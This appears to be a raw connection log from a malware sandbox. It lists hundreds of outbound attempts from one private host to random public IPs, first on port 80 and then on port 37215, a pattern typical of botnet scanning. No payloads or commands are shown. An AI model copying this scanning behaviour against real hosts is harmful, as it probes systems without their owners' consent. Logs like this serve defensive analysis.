Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	194.143.97.226
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	2.226.226.122
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	132.124.5.253
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	103.232.61.157
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	106.54.60.250
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	83.6.82.189
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	189.220.255.17
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	32.151.48.79
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	167.108.29.76
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	180.21.142.219
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	130.5.154.77
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	76.240.19.1
Dec 3, 2024 22:11:47.826235056 CET	6883	80	192.168.2.23	58.199.152.19
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	57.107.165.134
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	23.234.220.140
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	193.171.83.132
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	132.134.38.55
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	147.105.180.203
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	161.253.241.77
Dec 3, 2024 22:11:47.826261044 CET	6883	80	192.168.2.23	130.183.171.183
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	190.227.24.252
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	5.195.112.164
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	57.157.203.189
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	204.157.103.245
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	172.137.80.235
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:47.826265097 CET	6883	80	192.168.2.23	14.141.3.196
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	209.178.23.34
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	180.14.36.140
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	173.130.202.99
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	193.186.188.38
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	160.242.161.245
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	79.124.238.227
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	216.29.11.131
Dec 3, 2024 22:11:47.826271057 CET	6883	80	192.168.2.23	191.125.199.39
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	31.70.185.152
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	184.8.149.108
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	167.92.170.106
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	4.46.179.190
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:47.826272011 CET	6883	80	192.168.2.23	151.105.44.11
Dec 3, 2024 22:11:47.826272964 CET	6883	80	192.168.2.23	24.18.15.129
Dec 3, 2024 22:11:47.826272964 CET	6883	80	192.168.2.23	154.132.67.185
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	97.104.26.47
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	220.122.82.246
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	72.46.230.143
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	66.23.191.136
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	108.12.161.202
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	169.55.124.244
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	136.195.16.200
Dec 3, 2024 22:11:47.826298952 CET	6883	80	192.168.2.23	163.112.47.34
Dec 3, 2024 22:11:47.826304913 CET	6883	80	192.168.2.23	138.51.75.7
Dec 3, 2024 22:11:47.826304913 CET	6883	80	192.168.2.23	69.176.52.200
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	223.30.113.36
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	73.89.104.182
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	148.159.227.13
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	192.2.177.93
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	111.191.38.89
Dec 3, 2024 22:11:47.826306105 CET	6883	80	192.168.2.23	80.73.124.134
Dec 3, 2024 22:11:47.826317072 CET	6883	80	192.168.2.23	83.5.241.120
Dec 3, 2024 22:11:47.826317072 CET	6883	80	192.168.2.23	104.174.160.169
Dec 3, 2024 22:11:47.826317072 CET	6883	80	192.168.2.23	200.89.137.3
Dec 3, 2024 22:11:47.826330900 CET	6883	80	192.168.2.23	14.93.218.19
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	35.70.161.219
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	158.209.5.99
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	58.38.56.160
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	168.186.136.98
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	25.18.163.103
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	168.179.188.139
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	17.206.152.188
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	114.82.112.176
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	74.200.195.126
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	38.185.19.65
Dec 3, 2024 22:11:47.826338053 CET	6883	80	192.168.2.23	90.79.121.110
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	83.58.227.78
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	41.86.250.227
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	82.183.13.187
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	129.112.236.144
Dec 3, 2024 22:11:47.826339960 CET	6883	80	192.168.2.23	100.198.79.120
Dec 3, 2024 22:11:47.826345921 CET	6883	80	192.168.2.23	61.156.196.110
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	32.79.129.7
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	200.150.92.156
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	86.119.48.216
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	101.184.139.33
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	108.146.116.240
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	118.219.134.162
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	78.137.96.15
Dec 3, 2024 22:11:47.826349020 CET	6883	80	192.168.2.23	179.51.227.202
Dec 3, 2024 22:11:47.826350927 CET	6883	80	192.168.2.23	82.1.37.82
Dec 3, 2024 22:11:47.826350927 CET	6883	80	192.168.2.23	13.11.25.139
Dec 3, 2024 22:11:47.826350927 CET	6883	80	192.168.2.23	192.45.136.101
Dec 3, 2024 22:11:47.826359034 CET	6883	80	192.168.2.23	85.242.243.55
Dec 3, 2024 22:11:47.826359034 CET	6883	80	192.168.2.23	94.176.127.185
Dec 3, 2024 22:11:47.826359034 CET	6883	80	192.168.2.23	176.159.212.216
Dec 3, 2024 22:11:47.826359987 CET	6883	80	192.168.2.23	35.71.179.181
Dec 3, 2024 22:11:47.826359987 CET	6883	80	192.168.2.23	19.10.16.27
Dec 3, 2024 22:11:47.826359987 CET	6883	80	192.168.2.23	9.217.209.242
Dec 3, 2024 22:11:47.826363087 CET	6883	80	192.168.2.23	78.42.193.203
Dec 3, 2024 22:11:47.826363087 CET	6883	80	192.168.2.23	77.252.130.9
Dec 3, 2024 22:11:47.826363087 CET	6883	80	192.168.2.23	113.40.174.123
Dec 3, 2024 22:11:47.826363087 CET	6883	80	192.168.2.23	40.210.161.238
Dec 3, 2024 22:11:47.826363087 CET	6883	80	192.168.2.23	202.206.225.59
Dec 3, 2024 22:11:47.826364994 CET	6883	80	192.168.2.23	80.20.50.215
Dec 3, 2024 22:11:47.826368093 CET	6883	80	192.168.2.23	174.219.2.232
Dec 3, 2024 22:11:47.826371908 CET	6883	80	192.168.2.23	200.127.201.16
Dec 3, 2024 22:11:47.826371908 CET	6883	80	192.168.2.23	83.154.17.176
Dec 3, 2024 22:11:47.826386929 CET	6883	80	192.168.2.23	63.31.134.155
Dec 3, 2024 22:11:47.826392889 CET	6883	80	192.168.2.23	35.66.239.106
Dec 3, 2024 22:11:47.826397896 CET	6883	80	192.168.2.23	5.1.238.164
Dec 3, 2024 22:11:47.826392889 CET	6883	80	192.168.2.23	191.104.157.234
Dec 3, 2024 22:11:47.826401949 CET	6883	80	192.168.2.23	17.7.143.87
Dec 3, 2024 22:11:47.826406002 CET	6883	80	192.168.2.23	132.253.100.68
Dec 3, 2024 22:11:47.826420069 CET	6883	80	192.168.2.23	23.232.152.6
Dec 3, 2024 22:11:47.826422930 CET	6883	80	192.168.2.23	152.15.200.221
Dec 3, 2024 22:11:47.826423883 CET	6883	80	192.168.2.23	177.54.49.157
Dec 3, 2024 22:11:47.826423883 CET	6883	80	192.168.2.23	208.244.46.184
Dec 3, 2024 22:11:47.826474905 CET	6883	80	192.168.2.23	194.24.155.83
Dec 3, 2024 22:11:47.826474905 CET	6883	80	192.168.2.23	87.42.197.32
Dec 3, 2024 22:11:47.826478958 CET	6883	80	192.168.2.23	25.80.28.234
Dec 3, 2024 22:11:47.826478958 CET	6883	80	192.168.2.23	1.66.28.60
Dec 3, 2024 22:11:47.826479912 CET	6883	80	192.168.2.23	41.138.64.180
Dec 3, 2024 22:11:47.826478958 CET	6883	80	192.168.2.23	173.254.225.127
Dec 3, 2024 22:11:47.826482058 CET	6883	80	192.168.2.23	62.230.150.143
Dec 3, 2024 22:11:47.826482058 CET	6883	80	192.168.2.23	90.19.138.234
Dec 3, 2024 22:11:47.826484919 CET	6883	80	192.168.2.23	128.237.17.170
Dec 3, 2024 22:11:47.826486111 CET	6883	80	192.168.2.23	212.245.136.243
Dec 3, 2024 22:11:47.826518059 CET	6883	80	192.168.2.23	69.49.246.202
Dec 3, 2024 22:11:47.826518059 CET	6883	80	192.168.2.23	219.188.37.137
Dec 3, 2024 22:11:47.826520920 CET	6883	80	192.168.2.23	68.80.69.51
Dec 3, 2024 22:11:47.826524973 CET	6883	80	192.168.2.23	102.30.13.68
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	137.29.197.62
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	95.69.177.181
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	142.216.191.141
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	149.195.142.61
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	95.246.57.157
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	139.206.200.98
Dec 3, 2024 22:11:47.826534986 CET	6883	80	192.168.2.23	199.223.230.227
Dec 3, 2024 22:11:47.826549053 CET	6883	80	192.168.2.23	197.182.3.116
Dec 3, 2024 22:11:47.826549053 CET	6883	80	192.168.2.23	130.141.14.88
Dec 3, 2024 22:11:47.826551914 CET	6883	80	192.168.2.23	160.198.249.8
Dec 3, 2024 22:11:47.826551914 CET	6883	80	192.168.2.23	80.60.212.237
Dec 3, 2024 22:11:47.826553106 CET	6883	80	192.168.2.23	194.215.254.3
Dec 3, 2024 22:11:47.826554060 CET	6883	80	192.168.2.23	117.186.4.163
Dec 3, 2024 22:11:47.826551914 CET	6883	80	192.168.2.23	100.129.91.220
Dec 3, 2024 22:11:47.826554060 CET	6883	80	192.168.2.23	104.67.233.230
Dec 3, 2024 22:11:47.826551914 CET	6883	80	192.168.2.23	161.234.65.149
Dec 3, 2024 22:11:47.826554060 CET	6883	80	192.168.2.23	73.221.196.221
Dec 3, 2024 22:11:47.826575994 CET	6883	80	192.168.2.23	147.218.248.248
Dec 3, 2024 22:11:47.826576948 CET	6883	80	192.168.2.23	101.149.79.199
Dec 3, 2024 22:11:47.826577902 CET	6883	80	192.168.2.23	92.230.112.255
Dec 3, 2024 22:11:47.826577902 CET	6883	80	192.168.2.23	72.168.111.166
Dec 3, 2024 22:11:47.826577902 CET	6883	80	192.168.2.23	86.230.242.149
Dec 3, 2024 22:11:47.826577902 CET	6883	80	192.168.2.23	195.85.67.1
Dec 3, 2024 22:11:47.826577902 CET	6883	80	192.168.2.23	175.150.174.199
Dec 3, 2024 22:11:47.826579094 CET	6883	80	192.168.2.23	205.75.32.195
Dec 3, 2024 22:11:47.826579094 CET	6883	80	192.168.2.23	140.95.206.254
Dec 3, 2024 22:11:47.826581001 CET	6883	80	192.168.2.23	59.137.218.106
Dec 3, 2024 22:11:47.826581001 CET	6883	80	192.168.2.23	67.171.7.156
Dec 3, 2024 22:11:47.826581001 CET	6883	80	192.168.2.23	40.114.29.46
Dec 3, 2024 22:11:47.826581001 CET	6883	80	192.168.2.23	176.192.175.70
Dec 3, 2024 22:11:47.826581001 CET	6883	80	192.168.2.23	138.185.74.132
Dec 3, 2024 22:11:47.826586008 CET	6883	80	192.168.2.23	68.135.18.62
Dec 3, 2024 22:11:47.826586008 CET	6883	80	192.168.2.23	121.205.124.30
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	84.55.87.43
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	223.139.107.79
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	129.1.125.161
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	63.192.60.165
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	88.59.58.192
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	188.186.127.156
Dec 3, 2024 22:11:47.826704979 CET	6883	80	192.168.2.23	169.138.129.11
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	82.219.38.53
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	186.74.46.144
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	107.205.24.122
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	104.105.91.93
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	67.237.176.161
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	13.25.128.73
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	79.179.192.77
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	34.232.59.202
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	98.122.78.236
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	23.65.230.83
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	123.194.21.244
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	90.249.53.175
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	167.55.205.171
Dec 3, 2024 22:11:47.826715946 CET	6883	80	192.168.2.23	76.193.253.104
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	39.215.249.135
Dec 3, 2024 22:11:47.826715946 CET	6883	80	192.168.2.23	118.41.56.119
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	159.207.185.70
Dec 3, 2024 22:11:47.826709986 CET	6883	80	192.168.2.23	181.2.171.122
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	122.229.64.55
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	87.80.22.84
Dec 3, 2024 22:11:47.826715946 CET	6883	80	192.168.2.23	41.199.12.166
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	93.82.2.228
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	65.72.119.183
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	187.168.74.110
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	149.119.2.23
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	79.107.5.120
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	76.133.196.107
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	86.66.63.8
Dec 3, 2024 22:11:47.826715946 CET	6883	80	192.168.2.23	5.82.127.28
Dec 3, 2024 22:11:47.826728106 CET	6883	80	192.168.2.23	158.121.243.23
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	90.159.102.125
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	37.70.156.41
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	80.36.43.127
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	150.154.190.116
Dec 3, 2024 22:11:47.826710939 CET	6883	80	192.168.2.23	116.6.251.84
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	165.250.123.79
Dec 3, 2024 22:11:47.826738119 CET	6883	80	192.168.2.23	117.65.161.208
Dec 3, 2024 22:11:47.826728106 CET	6883	80	192.168.2.23	139.124.236.53
Dec 3, 2024 22:11:47.826735973 CET	6883	80	192.168.2.23	125.18.115.149
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	45.72.190.167
Dec 3, 2024 22:11:47.826730013 CET	6883	80	192.168.2.23	90.231.23.79
Dec 3, 2024 22:11:47.826735973 CET	6883	80	192.168.2.23	179.66.2.112
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	182.24.231.8
Dec 3, 2024 22:11:47.826730013 CET	6883	80	192.168.2.23	75.66.61.175
Dec 3, 2024 22:11:47.826713085 CET	6883	80	192.168.2.23	139.3.89.168
Dec 3, 2024 22:11:47.826741934 CET	6883	80	192.168.2.23	129.160.205.195
Dec 3, 2024 22:11:47.826730013 CET	6883	80	192.168.2.23	107.232.207.21
Dec 3, 2024 22:11:47.826741934 CET	6883	80	192.168.2.23	153.152.4.227
Dec 3, 2024 22:11:47.826741934 CET	6883	80	192.168.2.23	202.250.221.12
Dec 3, 2024 22:11:47.826750994 CET	6883	80	192.168.2.23	111.35.241.10
Dec 3, 2024 22:11:47.826750994 CET	6883	80	192.168.2.23	154.255.11.35
Dec 3, 2024 22:11:47.826750994 CET	6883	80	192.168.2.23	58.117.64.209
Dec 3, 2024 22:11:47.826751947 CET	6883	80	192.168.2.23	37.11.59.150
Dec 3, 2024 22:11:47.826751947 CET	6883	80	192.168.2.23	75.59.123.146
Dec 3, 2024 22:11:47.826751947 CET	6883	80	192.168.2.23	121.41.253.171
Dec 3, 2024 22:11:47.826751947 CET	6883	80	192.168.2.23	57.205.224.126
Dec 3, 2024 22:11:47.826751947 CET	6883	80	192.168.2.23	150.136.33.193
Dec 3, 2024 22:11:47.826755047 CET	6883	80	192.168.2.23	53.84.133.195
Dec 3, 2024 22:11:47.826756954 CET	6883	80	192.168.2.23	113.73.145.91
Dec 3, 2024 22:11:47.826756954 CET	6883	80	192.168.2.23	189.240.82.205
Dec 3, 2024 22:11:47.826756954 CET	6883	80	192.168.2.23	163.234.182.132
Dec 3, 2024 22:11:47.826761961 CET	6883	80	192.168.2.23	57.224.116.56
Dec 3, 2024 22:11:47.826781034 CET	6883	80	192.168.2.23	118.98.64.235
Dec 3, 2024 22:11:47.826781034 CET	6883	80	192.168.2.23	109.250.105.76
Dec 3, 2024 22:11:47.826781034 CET	6883	80	192.168.2.23	162.225.83.162
Dec 3, 2024 22:11:47.826781034 CET	6883	80	192.168.2.23	198.68.78.177
Dec 3, 2024 22:11:47.826781988 CET	6883	80	192.168.2.23	210.54.255.219
Dec 3, 2024 22:11:47.826782942 CET	6883	80	192.168.2.23	94.179.161.8
Dec 3, 2024 22:11:47.826827049 CET	6883	80	192.168.2.23	40.170.181.241
Dec 3, 2024 22:11:47.826827049 CET	6883	80	192.168.2.23	17.202.16.205
Dec 3, 2024 22:11:47.826829910 CET	6883	80	192.168.2.23	69.63.236.17
Dec 3, 2024 22:11:47.826833010 CET	6883	80	192.168.2.23	142.232.218.141
Dec 3, 2024 22:11:47.826833010 CET	6883	80	192.168.2.23	218.40.17.181
Dec 3, 2024 22:11:47.826833963 CET	6883	80	192.168.2.23	85.241.109.80
Dec 3, 2024 22:11:47.826834917 CET	6883	80	192.168.2.23	204.118.211.56
Dec 3, 2024 22:11:47.826836109 CET	6883	80	192.168.2.23	143.113.193.132
Dec 3, 2024 22:11:47.826834917 CET	6883	80	192.168.2.23	191.54.83.79
Dec 3, 2024 22:11:47.826843977 CET	6883	80	192.168.2.23	35.178.152.80
Dec 3, 2024 22:11:47.826845884 CET	6883	80	192.168.2.23	118.43.207.194
Dec 3, 2024 22:11:47.826845884 CET	6883	80	192.168.2.23	38.139.149.249
Dec 3, 2024 22:11:47.826845884 CET	6883	80	192.168.2.23	34.86.76.27
Dec 3, 2024 22:11:47.826863050 CET	6883	80	192.168.2.23	82.248.120.194
Dec 3, 2024 22:11:47.826879025 CET	6883	80	192.168.2.23	68.1.212.63
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	179.118.213.17
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	139.117.205.130
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	221.96.123.159
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	192.88.86.125
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	216.221.61.255
Dec 3, 2024 22:11:47.826879978 CET	6883	80	192.168.2.23	53.13.71.182
Dec 3, 2024 22:11:47.826883078 CET	6883	80	192.168.2.23	187.172.41.136
Dec 3, 2024 22:11:47.826883078 CET	6883	80	192.168.2.23	216.196.228.184
Dec 3, 2024 22:11:47.826883078 CET	6883	80	192.168.2.23	190.79.121.138
Dec 3, 2024 22:11:47.826888084 CET	6883	80	192.168.2.23	25.113.79.80
Dec 3, 2024 22:11:47.826888084 CET	6883	80	192.168.2.23	130.25.221.72
Dec 3, 2024 22:11:47.826889992 CET	6883	80	192.168.2.23	4.200.192.138
Dec 3, 2024 22:11:47.826917887 CET	6883	80	192.168.2.23	179.158.159.39
Dec 3, 2024 22:11:47.826925039 CET	6883	80	192.168.2.23	125.255.84.35
Dec 3, 2024 22:11:47.826946020 CET	6883	80	192.168.2.23	184.191.215.72
Dec 3, 2024 22:11:47.826946020 CET	6883	80	192.168.2.23	17.203.240.206
Dec 3, 2024 22:11:47.826946020 CET	6883	80	192.168.2.23	25.152.229.128
Dec 3, 2024 22:11:47.826946020 CET	6883	80	192.168.2.23	183.244.175.132
Dec 3, 2024 22:11:47.826947927 CET	6883	80	192.168.2.23	221.195.83.68
Dec 3, 2024 22:11:47.826947927 CET	6883	80	192.168.2.23	14.207.243.136
Dec 3, 2024 22:11:47.826947927 CET	6883	80	192.168.2.23	4.22.192.106
Dec 3, 2024 22:11:47.826947927 CET	6883	80	192.168.2.23	31.47.159.63
Dec 3, 2024 22:11:47.826950073 CET	6883	80	192.168.2.23	175.178.159.87
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	195.206.217.189
Dec 3, 2024 22:11:47.826950073 CET	6883	80	192.168.2.23	34.244.92.224
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	36.22.71.172
Dec 3, 2024 22:11:47.826950073 CET	6883	80	192.168.2.23	148.128.211.66
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	110.96.30.232
Dec 3, 2024 22:11:47.826950073 CET	6883	80	192.168.2.23	97.247.252.10
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	193.7.110.128
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	130.240.195.149
Dec 3, 2024 22:11:47.826961994 CET	6883	80	192.168.2.23	35.1.35.210
Dec 3, 2024 22:11:47.826961040 CET	6883	80	192.168.2.23	4.190.23.166
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	45.201.114.244
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	187.75.166.216
Dec 3, 2024 22:11:47.826961994 CET	6883	80	192.168.2.23	1.47.227.120
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	39.168.142.111
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	166.37.40.125
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	169.52.203.21
Dec 3, 2024 22:11:47.826951027 CET	6883	80	192.168.2.23	161.21.151.123
Dec 3, 2024 22:11:47.827656984 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:47.828342915 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:47.829063892 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:47.829711914 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:47.830240965 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:47.830889940 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:47.831505060 CET	38762	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:47.832108021 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:47.832787991 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:47.833300114 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:47.833837032 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:47.834367990 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:47.834887028 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:47.835447073 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:47.835973978 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:47.836570978 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:47.837275028 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:47.837841034 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:47.838361025 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:47.838896990 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:47.839478970 CET	49774	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:47.840025902 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:47.840575933 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:47.841145039 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:47.841722965 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:47.842279911 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:47.842835903 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:47.843420982 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:47.843945980 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:47.844508886 CET	37286	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:47.845056057 CET	41758	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:47.845597982 CET	53186	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:47.846183062 CET	36434	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:47.846755028 CET	43644	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:47.847332001 CET	41454	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:47.847862959 CET	47096	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:47.848407030 CET	45352	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:47.848962069 CET	32856	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:47.849560022 CET	44620	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:47.850089073 CET	57734	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:47.850621939 CET	50796	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:47.850853920 CET	5603	37215	192.168.2.23	197.73.88.6
Dec 3, 2024 22:11:47.850855112 CET	5603	37215	192.168.2.23	197.161.182.11
Dec 3, 2024 22:11:47.850855112 CET	5603	37215	192.168.2.23	41.174.135.206
Dec 3, 2024 22:11:47.850855112 CET	5603	37215	192.168.2.23	197.164.179.185
Dec 3, 2024 22:11:47.850855112 CET	5603	37215	192.168.2.23	197.183.121.246
Dec 3, 2024 22:11:47.850862980 CET	5603	37215	192.168.2.23	41.0.83.118
